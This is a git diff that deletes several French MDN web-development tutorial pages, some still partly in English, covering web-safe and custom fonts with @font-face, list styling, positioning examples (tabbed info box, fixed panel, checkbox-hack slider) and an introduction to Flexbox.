Tout d'abord, CSS définit cinq noms de polices génériques : serif, sans-serif, monospace, cursive, et fantasy. Celles-ci sont choisies par le navigateur selon le système d'exploitation utilisé (il est possible que les différents navigateurs choisissent des polices différentes). C'est en quelque sorte les polices de dernier recours à utiliser. Les polices désignées par serif, sans-serif et monospace devraient être assez prévisibles. En revanche, celles désignées par cursive et fantasy sont moins prévisibles et nous vous conseillons donc de les utiliser avec précaution.

- -
-

Note : On ne peut jamais être sûr à 100% des polices disponibles sur un ordinateur, aussi, c'est une bonne pratique que de toujours ajouter une police générique en dernier dans la liste des valeurs pour la propriété font-family.

-
- -

Les polices adaptées au Web

- -

Les polices génériques sont convenables mais imprévisibles. La plupart du temps, on souhaite mieux contrôler la police qui sera utilisée pour afficher le contenu textuel. On a vu juste avant qu'il était impossible de déterminer à coup sûr les polices disponibles sur un système. Toutefois, on peut s'aider de statistiques pour parier sur différentes polices fréquemment utilisées. Parmi les différents systèmes d'exploitation courants (Windows, Mac, certaines distribution Linux grand public, Android, et iOS), il existe un ensemble de polices largement répandues. Ces polices sont parfois appelées « web fonts » car elles peuvent être utilisées sans trop de risque sur le Web.

- -

Bien entendu, les systèmes d'exploitation évoluent et la liste des web fonts peut évoluer au cour du temps. Cependant, à l'heure où nous écrivons ces lignes, on peut considérer que les polices suivantes sont largement répandues (notamment grâce à l'initiative Core fonts for the Web de Microsoft à la fin des années 90) :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NomType génériqueNotes
Arialsans-serifOn considère généralement qu'il est préférable d'ajouter également Helvetica devant Arial. En effet, les polices sont presque identiques et bien qu'Arial soit plus répandue, Helvetica est plus appréciée (en termes de forme).
Courier NewmonospaceCertains systèmes d'exploitation disposent d'une autre version (potentiellement plus ancienne), appelée Courier. C'est une bonne pratique d'utiliser les deux tout en favorisant Courier New dans l'ordre des priorités.
Georgiaserif 
Times New RomanserifCertains systèmes d'exploitation disposent d'une autre version (potentiellement plus ancienne), appelée Times. C'est une bonne pratique d'utiliser les deux tout en favorisant Times New Roman dans l'ordre des priorités.
Trebuchet MSserifAttention, celle-ci n'est pas fortement répandue sur les systèmes d'exploitation mobiles.
Verdanasans-serif 
- -
-

Note : Parmi les différentes ressources disponibles sur le sujet, cssfontstack.com maintient une liste des web fonts disponibles sur Windows et Mac OS. Cela peut vous aider à décider les polices à utiliser pour votre site.

-
- -

Les polices personnalisées

- -

Enfin, si vous souhaitez utiliser votre propre police sur votre site web, la meilleur façon reste d'intégrer cette police dans votre site web.

- -
-

Attention : les polices sont sujettes au droit d'auteur (copyright) et vous devez donc vérifier, avant de les utiliser, que vous pouvez les intégrer sur votre site. Certains sites vous permettent d'en utiliser certaines gratuitement, comme Google Fonts. D'autres, vous permettent d'acheter le droit d'utiliser certaines polices comme, par exemple, fonts.com.

-
- -

L'intégration d'une police personnalisée se fait en trois étapes :

- -
    -
  1. Assurez-vous que la police soit disponible sur votre serveur web. Pour assurer une meilleure rétro-compatibilité, la police doit idéalement être disponible sous quatre format : -
      -
    • WOFF et WOFF2, supportés par les navigateurs modernes (WOFF2 remplacera WOFF)
      • -
    • EOT, supporté par {{Glossary("Microsoft Internet Explorer","Internet Explorer")}} avant sa version 9
      • -
    • SVG, supporté par l'ancienne version de Safari pour iOS (il est peu probable que celle-ci soit encore utilisée)
      • -
    • OTF, supporté par les anciennes versions des navigateurs par défaut Android.
      • -
    -
    2. -
  2. Utilisez la déclaration {{cssxref("@font-face")}} en utilisant les adresses des fichiers et les autres caractéristiques (comme le nom)
    3. -
  3. Utilisez le nom déclaré pour la police personnalisée dans la liste des valeurs fournies à la propriété {{cssxref("font-family")}}.
    4. -
- -

Voici un exemple d'un telle mise en œuvre.

- -

On utilisera ce fragment de code HTML :

- -
<p>
-  He dressed himself "all in his best," and at last
-  got out into the streets. The people were by this
-  time pouring forth, as he had seen them with the
-  Ghost of Christmas Present; and walking with his
-  hands behind him, Scrooge regarded every one with
-  a delighted smile. He looked so irresistibly
-  pleasant, in a word, that three or four good-humoured
-  fellows said, "Good morning, sir! A merry Christmas
-  to you!" And Scrooge said often afterwards, that of
-  all the blithe sounds he had ever heard, those were
-  the blithest in his ears.
-</p>
-<p class="fancy">
-  He dressed himself "all in his best," and at last
-  got out into the streets. The people were by this
-  time pouring forth, as he had seen them with the
-  Ghost of Christmas Present; and walking with his
-  hands behind him, Scrooge regarded every one with
-  a delighted smile. He looked so irresistibly
-  pleasant, in a word, that three or four good-humoured
-  fellows said, "Good morning, sir! A merry Christmas
-  to you!" And Scrooge said often afterwards, that of
-  all the blithe sounds he had ever heard, those were
-  the blithest in his ears.
-</p>
- -

Et on appliquera cette feuille de style CSS :

- -
/* Une disposition simple pour voir
-   les paragraphes côte à côte. */
-p {
-  box-sizing: border-box;
-  width     : 50%;
-  padding   : 1em;
-  float     : left;
-}
-
-@font-face {
-  /* Là on définit le nom pour la police
-     personnalisé, on l'utilisera dans la
-     liste */
-  font-family:"Open Sans";
-
-  /* Ici, on liste les fichiers de police,
-     la syntaxe est détaillée ici :
-     http://blog.fontspring.com/2011/02/the-new-bulletproof-font-face-syntax/ */
-  src:url("https://developer.cdn.mozilla.net/static/fonts/OpenSans-Regular-webfont.a35546eef3ea.eot");
-  src:url("https://developer.cdn.mozilla.net/static/fonts/OpenSans-Regular-webfont.a35546eef3ea.eot?#iefix") format('embedded-opentype'),
-      url("https://developer.cdn.mozilla.net/static/fonts/OpenSans-Regular-webfont.3f642fa3ea74.woff2") format('woff2'),
-      url("https://developer.cdn.mozilla.net/static/fonts/OpenSans-Regular-webfont.ac327c4db628.woff") format('woff'),
-      url("https://developer.cdn.mozilla.net/static/fonts/OpenSans-Regular-webfont.cd7296352d15.ttf") format('truetype'),
-      url("https://developer.cdn.mozilla.net/static/fonts/OpenSans-Regular-webfont.f641a7d4e80f.svg#OpenSansRegular") format('svg');
-
-  /* Ici, on définit la graisse et le style de la police */
-  font-weight:normal;
-  font-style:normal;
-}
-
-/* Enfin, il suffit simplement d'ajouter la
-   police personnalisée dans la liste des valeurs
-   pour font. */
-.fancy {
-  font: 0.85rem/150% "Open Sans", Helvetica, Arial, sans-serif;
-}
-
- -

Le résultat obtenu sera :

- -

{{EmbedLiveSample('Les_polices_personnalisées', '100%', '320')}}

- -

La disposition du texte

- -

La disposition du teexte concerne les aspects liés aux sauts de ligne et à la position du texte par rapport à la ligne de base ou par rapport à son contenant.

- - - -

De la même façon qu'avec la mise en forme du texte, la disposition du texte est concernée par quelques propriétés expérimentales, assez peu supportées par certains navigateurs ou dédiées aux langues non latines. Celles-ci permettent de résoudre plusieurs problèmes d'ordre typographique et il est donc intéressant de les connaître (sans que cela doive devenir une source de préoccupation majeure).

- - - -

La suite

- -

Avec tous ces éléments, vous devriez avoir un bon aperçu des outils CSS qui vous permettent de mettre en forme du texte. Nous vous encourageons à tester ces différentes propriétés et à bidouiller avec ces différents concepts pour concrétiser ces notions. Une fois à l'aise avec ces notions, n'hésitez pas à continuer avec un autre sujet : créer de belles boîtes contenant du texte.

diff --git a/files/fr/apprendre/css/comment/personnaliser_une_liste/index.html b/files/fr/apprendre/css/comment/personnaliser_une_liste/index.html deleted file mode 100644 index 3b25f0218c..0000000000 --- a/files/fr/apprendre/css/comment/personnaliser_une_liste/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: personnaliser une liste -slug: Apprendre/CSS/Comment/personnaliser_une_liste -translation_of: Learn/CSS/Styling_text/Styling_lists -translation_of_original: Learn/CSS/Howto/customize_a_list ---- -

{{draft}}

- -

Les listes sont des structures très répandues en HTML et les CSS apportent un ensemble complet de propriétés pour leur donner l'apparence que vous voulez. Comprendre comment utiliser et modifier les styles par défaut est une compétence ordinaire dont vous aurez besoin dès que vous utiliserez les listes.

- -

Les listes {{Glossary("HTML")}} sont des structures très simples et se trouvent sous deux formes différentes : ordonnée ou non. Elles utilisent les balises {{HTMLElement('ul')}}, {{HTMLElement('ol')}}, et {{HTMLElement('li')}}. Vous trouverez tous les détails dans notre article dédié, mais pour le reste de cet article, nous utiliserons le code HTML suivant pour appliquer les styles :

- -
<ul>
-  <li>Je suis un élément de liste</li>
-  <li>Je suis un autre élément de liste</li>
-  <li>
-    <ul>
-      <li>Je suis un élément de liste imbriqué</li>
-      <li>Je suis un autre élément de liste imbriqué</li>
-    </ul>
-  </li>
-</ul>
- -

Styles dédiés

- -

Les CSS fournissent un jeu complet de propriétés pour gérer les puces :

- - - -

En complément, les CSS permettent également d'avoir des styles de compteurs personnalisés qui vont très bien avec les listes.

- -
-

Les styles de compteurs ne seront pas abordés dans cet article. Si vous souhaitez approfondir ce sujet, nous avons à votre disposition un article dédié.

-
- -

Indentation de liste

- -

Puces personnalisées

diff --git a/files/fr/apprendre/css/css_layout/exemples_pratiques_de_positionnement/index.html b/files/fr/apprendre/css/css_layout/exemples_pratiques_de_positionnement/index.html deleted file mode 100644 index da821fefd1..0000000000 --- a/files/fr/apprendre/css/css_layout/exemples_pratiques_de_positionnement/index.html +++ /dev/null @@ -1,407 +0,0 @@ ---- -title: Exemples pratiques de positionnement -slug: Apprendre/CSS/CSS_layout/Exemples_pratiques_de_positionnement -translation_of: Learn/CSS/CSS_layout/Practical_positioning_examples ---- -
{{LearnSidebar}}
- -


- Cet article montre comment construire quelques exemples réels de choses que vous pouvez faire avec le positionnement.

- - - - - - - - - - - - -
Prérequis:Les bases du HTML (étudier Introduction au HTML), et une idée du fonctionnement du CSS (étudier Introduction au CSS.)
Objectif:Avoir une idée des aspects pratiques du positionnement
- -

Une boîte d'information à onglets

- -

Le premier exemple que nous allons examiner est une boîte d'information à onglets classique - une fonction très courante utilisée lorsque vous voulez regrouper beaucoup d'informations dans une petite zone. Cela inclut les applications gourmandes en informations comme les jeux de stratégie/guerre, les versions mobiles de sites Web où l'écran est étroit et l'espace limité, et les boîtes d'information compactes où vous pourriez vouloir rendre beaucoup d'informations disponibles sans qu'elles remplissent toute l'interface utilisateur. Notre exemple simple ressemblera à ceci une fois que nous aurons terminé :

- -

- -
-

Note: You can see the finished example running live at info-box.html (source code). Check it out to get an idea of what you will be building in this section of the article.

-
- -

Vous pourriez vous dire "pourquoi ne pas créer des onglets séparés sous forme de pages web séparées, et faire en sorte que les onglets permettent de cliquer sur les pages séparées pour créer l'effet ?" Ce code serait plus simple, oui, mais alors chaque "page" séparée serait en fait une nouvelle page web, ce qui rendrait plus difficile la sauvegarde des informations entre les vues, et intégrerait cette fonctionnalité dans un design d'interface plus large. De plus, les applications dites " à page unique " deviennent très populaires - en particulier pour les interfaces Web mobiles - parce que le fait que tout soit servi dans un seul fichier réduit le nombre de requêtes HTTP nécessaires pour voir tout le contenu, ce qui améliore les performances.

- -
-

Note: Some web developers take things even further, only having one page of information loaded at once, and dynamically changing the information shown using a JavaScript feature such as XMLHttpRequest. At this point in your learning however we want to keep things as simple as possible. There is some JavaScript later on, but only a tiny bit.

-
- -

Pour commencer, nous aimerions que vous fassiez une copie locale du fichier HTML de départ — info-box-start.html. Enregistrez ce fichier dans un endroit approprié sur votre ordinateur et ouvrez-le dans votre éditeur de texte. Examinons le HTML contenu dans le body:

- -
<section class="info-box">
-  <ul>
-    <li><a href="#" class="active">Tab 1</a></li>
-    <li><a href="#">Tab 2</a></li>
-    <li><a href="#">Tab 3</a></li>
-  </ul>
-  <div class="panels">
-    <article class="active-panel">
-      <h2>The first tab</h2>
-
-      <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque turpis nibh, porttitor nec venenatis eu, pulvinar in augue. Vestibulum et orci scelerisque, vulputate tellus quis, lobortis dui. Vivamus varius libero at ipsum mattis efficitur ut nec nisl. Nullam eget tincidunt metus. Donec ultrices, urna maximus consequat aliquet, dui neque eleifend lorem, a auctor libero turpis at sem. Aliquam ut porttitor urna. Nulla facilisi.</p>
-    </article>
-    <article>
-      <h2>The second tab</h2>
-
-      <p>This tab hasn't got any Lorem Ipsum in it. But the content isn't very exciting all the same.</p>
-    </article>
-    <article>
-      <h2>The third tab</h2>
-
-      <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque turpis nibh, porttitor nec venenatis eu, pulvinar in augue. And now an ordered list: how exciting!</p>
-
-      <ol>
-        <li>dui neque eleifend lorem, a auctor libero turpis at sem.</li>
-        <li>Aliquam ut porttitor urna.</li>
-        <li>Nulla facilisi</li>
-      </ol>
-    </article>
-  </div>
-</section>
- -

Nous avons un élément {{htmlelement("section")}}  avec une class  info-box, qui contient une {{htmlelement("ul")}} et une {{htmlelement("div")}}. La liste non ordonnée contient trois éléments de liste avec des liens à l'intérieur, qui deviendront les véritables onglets sur lesquels il faudra cliquer pour afficher nos panneaux de contenu. la div contient trois éléments {{htmlelement("article")}} , qui constitueront les panneaux de contenu correspondant à chaque onglet. Chaque panneau contient un échantillon de contenu.

- -

L'idée ici est que nous allons donner aux onglets l'aspect d'un menu de navigation horizontal standard, et que nous allons donner aux panneaux l'aspect d'être superposés en utilisant un positionnement absolu. Nous vous donnerons également un peu de JavaScript à inclure dans votre page pour afficher le panneau correspondant lorsqu'un onglet est pressé, et nous donnerons un style à l'onglet lui-même. Vous n'aurez pas besoin de comprendre le JavaScript lui-même à ce stade, mais vous devriez penser à apprendre quelques bases de JavaScript dès que possible - plus les fonctionnalités de votre interface utilisateur deviennent complexes, plus il est probable que vous aurez besoin de JavaScript pour implémenter les fonctionnalités souhaitées.

- -

General setup

- -

To begin with, add the following between your opening and closing {{HTMLElement("style")}} tags:

- -
html {
-  font-family: sans-serif;
-}
-
-* {
-  box-sizing: border-box;
-}
-
-body {
-  margin: 0;
-}
- -

This is just some general setup to set a sans-serif font on our page, use the border-box {{cssxref("box-sizing")}} model, and get rid of the default {{htmlelement("body")}} margin.

- -

Next, add the following just below your previous CSS:

- -
.info-box {
-  width: 450px;
-  height: 400px;
-  margin: 0 auto;
-}
- -

This sets a specific width and height on the content, and centers it on the screen using the old margin: 0 auto trick. Previously in the course we advised against setting a fixed height on content containers if at all possible; it is ok in this circumstance because we have fixed content in our tabs. It also looks a bit jarring to have different tabs at different heights.

- -

Styling our tabs

- -

Now we want to style tabs to look like tabs — basically, these are a horizontal navigation menu, but instead of loading different web pages when they are clicked on like we've seen previously in the course, they cause different panels to be displayed on the same page. First, add the following rule at the bottom of your CSS to remove the default {{cssxref("padding-left")}} and {{cssxref("margin-top")}} from the unordered list:

- -
.info-box ul {
-  padding-left: 0;
-  margin-top: 0;
-}
- -
-

Note: We are using descendant selectors with .info-box at the start of the chain throughout this example — this is so that we can insert this feature into a page with other content already on it, without fear of interfering with the styles applied to other parts of the page.

-
- -

Next, we'll style the horizontal tabs — the list items are all floated left to make them sit in a line together, their {{cssxref("list-style-type")}} is set to none to get rid of the bullets, and their {{cssxref("width")}} is set to 150px so they will comfortably fit across the info-box. The {{htmlelement("a")}} elements are set to {{cssxref("display")}} inline-block so they will sit in a line but still be stylable, and they are styled appropriately for tab buttons, using a variety of other properties.

- -

Add the following CSS:

- -
.info-box li {
-  float: left;
-  list-style-type: none;
-  width: 150px;
-}
-
-.info-box li a {
-  display: inline-block;
-  text-decoration: none;
-  width: 100%;
-  line-height: 3;
-  background-color: red;
-  color: black;
-  text-align: center;
-}
- -

Finally for this section we'll set some styles on the link states. First, we'll set the :focus and :hover states of the tabs to look different when they are focused/hovered, providing users with some visual feedback. Secondly, we'll set a rule that puts the same styling on one of the tabs when a class of active is present on it. We will set this using JavaScript when a tab is clicked on. Place the following CSS below your other styles:

- -
.info-box li a:focus, .info-box li a:hover {
-  background-color: #a60000;
-  color: white;
-}
-
-.info-box li a.active {
-  background-color: #a60000;
-  color: white;
-}
- -

Styling the panels

- -

The next job is to style our panels. Let's get going!

- -

First, of all, add the following rule to style the .panels {{htmlelement("div")}} container. Here we simply set a fixed {{cssxref("height")}} to make sure the panels fit snugly inside the info-box, {{cssxref("position")}} relative to set the {{htmlelement("div")}} as the positioning context, so you can then place positioned child elements relative to it and not the {{htmlelement("html")}} element, and finally we {{cssxref("clear")}} the float set in the CSS above so that it doesn't interfere with the remainder of the layout.

- -
.info-box .panels {
-  height: 352px;
-  position: relative;
-  clear: both;
-}
- -

Finally for this section, we will style the individual {{htmlelement("article")}} elements that comprise our panels. The first rule we'll add will absolutely {{cssxref("position")}} the panels, and make them all sit flush to the {{cssxref("top")}} and {{cssxref("left")}} of their {{htmlelement("div")}} container — this part is absolutely key to this whole layout feature, as it makes the panels sit on top of one another. The rule also gives the panels the same set height as the container, and gives the content some padding, a text {{cssxref("color")}}, and a {{cssxref("background-color")}}.

- -

The second rule we'll add here makes it so that a panel with a class of active-panel set on it will have a {{cssxref("z-index")}} of 1 applied to it, which will make it sit above the other panels (positioned elements have a z-index of 0 by default, which would put them below). Again, we'll add this class using JavaScript at the appropriate time.

- -
.info-box article {
-  position: absolute;
-  top: 0;
-  left: 0;
-  height: 352px;
-  padding: 10px;
-  color: white;
-  background-color: #a60000;
-}
-
-.info-box .active-panel {
-  z-index: 1;
-}
- -

Adding our JavaScript

- -

The final step to getting this feature working is to add some JavaScript. Put the following block of code, exactly as written in between your opening and closing {{htmlelement("script")}} tags (you'll find these below the HTML content):

- -
var tabs = document.querySelectorAll('.info-box li a');
-var panels = document.querySelectorAll('.info-box article');
-
-for(i = 0; i < tabs.length; i++) {
-  var tab = tabs[i];
-  setTabHandler(tab, i);
-}
-
-function setTabHandler(tab, tabPos) {
-  tab.onclick = function() {
-    for(i = 0; i < tabs.length; i++) {
-      tabs[i].className = '';
-    }
-
-    tab.className = 'active';
-
-    for(i = 0; i < panels.length; i++) {
-      panels[i].className = '';
-    }
-
-    panels[tabPos].className = 'active-panel';
-  }
-}
- -

This code does the following:

- - - -

That's it for the first example. Keep your code open, as we'll be adding to it in the second one.

- -

A fixed position tabbed info-box

- -

In our second example, we will take our first example — our info-box — and add it into the context of a full web page. But not only that — we'll give it fixed position so that it stays in the same position in the browser window. When the main content scrolls, the info-box will stay in the same position on the screen. Our finished example will look like this:

- -

- -
-

Note: You can see the finished example running live at fixed-info-box.html (source code). Check it out to get an idea of what you will be building in this section of the article.

-
- -

As a starting point, you can use your completed example from the first section of the article, or make a local copy of info-box.html from our Github repo.

- -

HTML additions

- -

First of all, we need some additional HTML to represent the web site main content. Add the following {{htmlelement("section")}} just below your opening {{htmlelement("body")}} tag, just before the existing section:

- -
<section class="fake-content">
-  <h1>Fake content</h1>
-  <p>This is fake content. Your main web page contents would probably go here.</p>
-  <p>This is fake content. Your main web page contents would probably go here.</p>
-  <p>This is fake content. Your main web page contents would probably go here.</p>
-  <p>This is fake content. Your main web page contents would probably go here.</p>
-  <p>This is fake content. Your main web page contents would probably go here.</p>
-  <p>This is fake content. Your main web page contents would probably go here.</p>
-  <p>This is fake content. Your main web page contents would probably go here.</p>
-  <p>This is fake content. Your main web page contents would probably go here.</p>
-</section>
- -
-

Note: You can feel free to change the fake content for some real content if you like.

-
- -

Changes to the existing CSS

- -

Next we need to make some small changes to the existing CSS, to get the info-box placed and positioned. Change your .info-box rule to get rid of margin: 0 auto; (we no longer want the info-box centered), add {{cssxref("position")}}: fixed;, and stick it to the {{cssxref("top")}} of the browser viewport.

- -

It should now look like this:

- -
.info-box {
-  width: 450px;
-  height: 400px;
-  position: fixed;
-  top: 0;
-}
- -

Styling the main content

- -

The only thing left for this example is to provide the main content with some styling. Add the following rule underneath the rest of your CSS:

- -
.fake-content {
-  background-color: #a60000;
-  color: white;
-  padding: 10px;
-  height: 2000px;
-  margin-left: 470px;
-}
- -

To start with, we give the content the same {{cssxref("background-color")}}, {{cssxref("color")}}, and {{cssxref("padding")}} as the info-box panels. We then give it a large {{cssxref("margin-left")}} to move it over to the right, making space for the info-box to sit in, so it is not overlapping anything else.

- -

This marks the end of the second example; we hope you'll find the third just as interesting.

- -

A sliding hidden panel

- -

The final example we'll present here is a panel that slides on and off the screen at the press of an icon — as mentioned earlier, this is popular for situations like mobile layouts, where the available screen spaces is small, so you don't want to use up most of it by showing a menu or info panel instead of the useful content.

- -

Our finished example will look like this:

- -

- -
-

Note: You can see the finished example running live at hidden-info-panel.html (source code). Check it out to get an idea of what you will be building in this section of the article.

-
- -

As a starting point, make a local copy of hidden-info-panel-start.html from our Github repo. This doesn't follow on from the previous example, so a fresh start file is required. Let's have a look at the HTML in the file:

- -
<label for="toggle">❔</label>
-<input type="checkbox" id="toggle">
-<aside>
-
-  ...
-
-</aside>
- -

To start with here we've got a {{htmlelement("label")}} element and an {{htmlelement("input")}} element — <label> elements are normally used to associate a text label with a form element for accessibility purposes (allowing a screen user to see what description goes with what form element). Here it is associated with the <input> checkbox using the for and id attributes.

- -
-

Note: We've put a special question mark character into our HTML to act as our info icon — this represents the button that will be pressed to show/hide the panel.

-
- -

Here we are going to use these elements for a slightly different purpose — another useful side effect of <label> elements is that you can click a checkbox's label to check the checkbox, as well as just the checkbox itself. This has led to the well-known checkbox hack, which provides a JavaScript-free way of controlling an element by toggling a button. The element we'll be controlling is the {{htmlelement("aside")}} element that follows the other two (we've left its contents out of the above code listing for brevity).

- -

In the below sections we'll explain how this all works.

- -

Styling the form elements

- -

First let's deal with the form elements — add the following CSS in between your {{htmlelement("style")}} tags:

- -
label[for="toggle"] {
-  font-size: 3rem;
-  position: absolute;
-  top: 4px;
-  right: 5px;
-  z-index: 1;
-  cursor: pointer;
-}
-
-input[type="checkbox"] {
-  position: absolute;
-  top: -100px;
-}
- -

The first rule styles the <label>; here we've:

- - - -

The second rule sets {{cssxref("position")}} absolute on the actual checkbox <input> element, and hides it off the top of the screen. We don't actually want to see this on our UI.

- -

Styling the panel

- -

Now it's time to style the actual sliding panel itself. Add the following rule to the bottom of your CSS:

- -
aside {
-  background-color: #a60000;
-  color: white;
-
-  width: 340px;
-  height: 100%;
-  padding: 0 20px;
-
-  position: fixed;
-  top: 0;
-  right: -370px;
-
-  transition: 0.6s all;
-}
- -

There's a lot going on here — let's discuss it bit by bit:

- - - -

Setting the checked state

- -

There is one final bit of CSS to add — put the following at the bottom of your CSS:

- -
input[type=checkbox]:checked + aside {
-  right: 0px;
-}
- -

The selector is pretty complex here — we are selecting the <aside> element adjacent to the <input> element, but only when it is checked (note the use of the {{cssxref(":checked")}} pseudo-class to achieve this). When this is the case, we are setting the {{cssxref("right")}} property of the <aside> to 0px, which causes the panel to appear on the screen again (smoothly due to the transition). Clicking the label again unchecks the checkbox, which hides the panel again.

- -

So there you have it — a rather clever JavaScript-free way to create a toggling button effect. This will work in IE9 and above (the smooth transition will work in IE10 and above.) This effect does have some concerns — this is a bit of an abuse of form elements, as they weren't intended for this purpose. In addition, the effect is not great in terms of accessibility; the label is not focusable by default, and the non-semantic use of the form elements could cause issues with screen readers. JavaScript and a link or button might be more appropriate, but it is still fun to experiment with.

- -

Summary

- -

So that rounds off our look at positioning — by now, you should have an idea of how the basic mechanics work, as well as understanding how to start applying these to build some interesting UI features. Don't worry if you didn't get this all immediately — positioning is a fairly advanced topic, and you can always work through the articles again to aid your understanding. The next subject we'll turn to is Flexbox.

- -

In this module

- - diff --git a/files/fr/apprendre/css/css_layout/flexbox/index.html b/files/fr/apprendre/css/css_layout/flexbox/index.html deleted file mode 100644 index bcf02e9910..0000000000 --- a/files/fr/apprendre/css/css_layout/flexbox/index.html +++ /dev/null @@ -1,341 +0,0 @@ ---- -title: Flexbox -slug: Apprendre/CSS/CSS_layout/Flexbox -tags: - - Apprentissage - - Article - - Boîtes modulables - - CSS - - Codage - - Disposition - - Débutant - - Guide - - Mise en page avec les CSS - - Mises en page - - flexbox -translation_of: Learn/CSS/CSS_layout/Flexbox ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Normal_Flow", "Apprendre/CSS/CSS_layout/Flexbox_skills", "Learn/CSS/CSS_layout")}}
- -

Flexbox est une méthode de mise en page selon un axe principal, permettant de disposer des éléments en ligne ou en colonne. Les éléments se dilatent ou se rétractent pour occuper l'espace disponible. Cet article en explique tous les fondamentaux.

- - - - - - - - - - - - -
Prérequis :Les fondamentaux du HTML (étudiez Introduction au HTML) et avoir une idée de la manière dont la CSS fonctionne (étudiez Introduction aux CSS).
Objectif :Apprendre à utiliser le système Flexbox pour créer des mises en page web.
- -

Pourquoi Flexbox ?

- -

Pendant longtemps, les seuls outils de mise en page CSS fiables et compatibles avec les navigateurs, étaient les propriétés concernant les flotteurs (boîtes flottantes) et le positionnement. Ces outils sont bien et fonctionnent, mais restent à certains égards plutôt limitatifs et frustrants.

- -

Les simples exigences de mise en page suivantes sont difficiles si ce n'est impossibles à réaliser de manière pratique et souple avec ces outils :

- - - -

Comme vous le verrez dans les paragraphes suivants, flexbox facilite considérablement les tâches de mise en page. Approfondissons un peu !

- -

Voici un exemple simple

- -

Dans cet article, nous allons commenter une série d'exercices pour vous faciliter la compréhension du fonctionnement de flexbox. Pour commencer, faites une copie locale du premier fichier de démarrage — flexbox0.html de notre dépôt Github —, chargez‑le dans un navigateur moderne (comme Firefox ou Chrome) et regardez le code dans votre éditeur. Vous pouvez le voir en direct ici aussi.

- -

Qu'avons‑nous ? un élément {{htmlelement("header")}} avec un en‑tête de haut niveau à l'intérieur, et un élément {{htmlelement("section")}} contenant trois {{htmlelement("article")}}s. Nous allons les utiliser pour créer une disposition vraiment classique sur trois colonnes.

- -

Échantillon d'utilisation de flexbox

- -

Détermination des éléments à disposer en boîtes flexibles

- -

Pour commencer, sélectionnons les éléments devant être présentés sous forme de boîtes flexibles. Pour ce faire, donnons une valeur spéciale à la propriété  {{cssxref("display")}} du parent de ces éléments à disposer. Dans ce cas, comme cela concerne les éléments {{htmlelement("article")}}, nous affectons la valeur flex à l'élément {{htmlelement("section")}} (qui devient un conteneur flex) :

- -
section {
-  display: flex;
-}
- -

Voici le résultat :

- -

Échantillon d'utilisation de flexbox

- -

Ainsi, cette unique déclaration donne tout ce dont nous avons besoin — incroyable, non ? Nous avons ainsi notre disposition en plusieurs colonnes de largeur égale, et toutes de même hauteur. Ceci parce que les valeurs par défaut données aux éléments flex (les enfants du conteneur flex) sont configurés pour résoudre des problèmes courants tels celui-ci. On en reparlera plus tard.

- -
-

Note : Vous pouvez aussi définir une valeur inline-flex pour  {{cssxref("display")}} si vous voulez disposer des éléments en ligne sous forme de boîtes modulables.

-
- -

Aparté sur le modèle flex

- -

Lorsque les éléments sont disposés en boîtes flexibles, ils sont disposés le long de deux axes :

- -

Terminologie pour les boîtes modulables

- - - -

Gardez cette terminologie en tête en lisant les paragraphes suivants. Vous pouvez toujours vous y référer si vous avez un doute sur la signification des termes utilisés.

- -

Colonnes ou lignes ?

- -

Flexbox dispose de la propriété {{cssxref("flex-direction")}} pour indiquer la direction de l'axe principal (direction dans laquelle les enfants flexibles sont disposés) — cette propriété est égale par défaut à row : ils sont donc disposés en ligne, dans le sens de lecture de la langue par défaut du navigateur (de gauche à droite, dans le cas d'un navigateur français).

- -

Ajoutons la déclaration suivante dans la règle :

- -
flex-direction: column;
- -

Cela dispose de nouveau les éléments en colonnes, comme c'était le cas avant l'ajout de la CSS. Avant de poursuivre, enlevez cette déclaration de l'exemple.

- -
-

Note : Vous pouvez aussi disposer les éléments flex dans la direction inverse avec les valeurs row-reverse et column-reverse. Expérimentez ces valeurs aussi !

-
- -

Enveloppement

- -

Problème : quand votre structure est de largeur ou hauteur fixe, il arrive que les éléments flex débordent du conteneur et brisent cette structure. Voyez l'exemple flexbox-wrap0.html, essayez directement (faites une copie locale de ce fichier maintenant si vous voulez suivre cet exemple) :

- -

Débordement des éléments modulables

- -

Ici, nous voyons que les enfants débordent du conteneur. Une façon d'y remédier est d'ajouter la déclaration suivante à votre règle pour section :

- -
flex-wrap: wrap;
- -

Essayons ; la disposition est bien meilleure avec cet ajout :

- -

Conditionnement des éléments modulablesNous avons maintenant plusieurs lignes — un nombre sensé d'enfants flexibles est placé sur chaque ligne, et le débordement est déplacé vers le bas sur une ligne supplémentaire. La déclaration flex: 200px pour les éléments article signifie que chacun aura au moins 200px de large ; nous discuterons de cette propriété plus en détail plus tard. Vous noterez aussi que chacun des enfants de la dernière rangée est plus large, de façon à ce que toute la rangée reste remplie.

- -

Mais nous pouvons faire plus ici. Tout d'abord, essayez de changer la valeur de la propriété {{cssxref("flex-direction")}} en row-reverse — maintenant vous avez toujours la disposition sur plusieurs lignes, mais elles commencent dans l'angle opposé de la fenêtre du navigateur et se disposent à l'envers.

- -

Forme abrégée « flex-flow »

- -

Notez maintenant qu'il y a une forme abrégée pour {{cssxref("flex-direction")}} et {{cssxref("flex-wrap")}} — {{cssxref("flex-flow")}}. Ainsi, par exemple, vous pouvez remplacer

- -
flex-direction: row;
-flex-wrap: wrap;
- -

par

- -
flex-flow: row wrap;
- -

Taille modulable des éléments flex

- -

Revenons maintenant au premier exemple, et examinons comment nous pouvons contrôler la proportion d'éléments flexibles dans l'espace. Lancez votre copie locale de flexbox0.html ou prenez une copie de flexbox1.html comme nouveau point de départ (voir en direct).

- -

Ajoutez d'abord la règle ci-dessous en fin de la CSS :

- -
article {
-  flex: 1;
-}
- -

Il s'agit d'une valeur de proportion, sans unité, définissant la quantité d'espace disponible que chaque élément flex prendra le long de l'axe principal. Dans ce cas, nous donnons à chaque élément {{htmlelement("article")}}} une valeur de 1, ce qui signifie qu'ils prendront tous une portion égale de l'espace libre après le calcul du remplissage et de la marge. Cette valeur représente une proportion, càd que le fait de donner une valeur de 400 000 simultanément à tous les éléments flex aurait exactement le même effet.

- -

Maintenant ajoutons cette règle en-dessous de la précédente :

- -
article:nth-of-type(3) {
-  flex: 2;
-}
- -

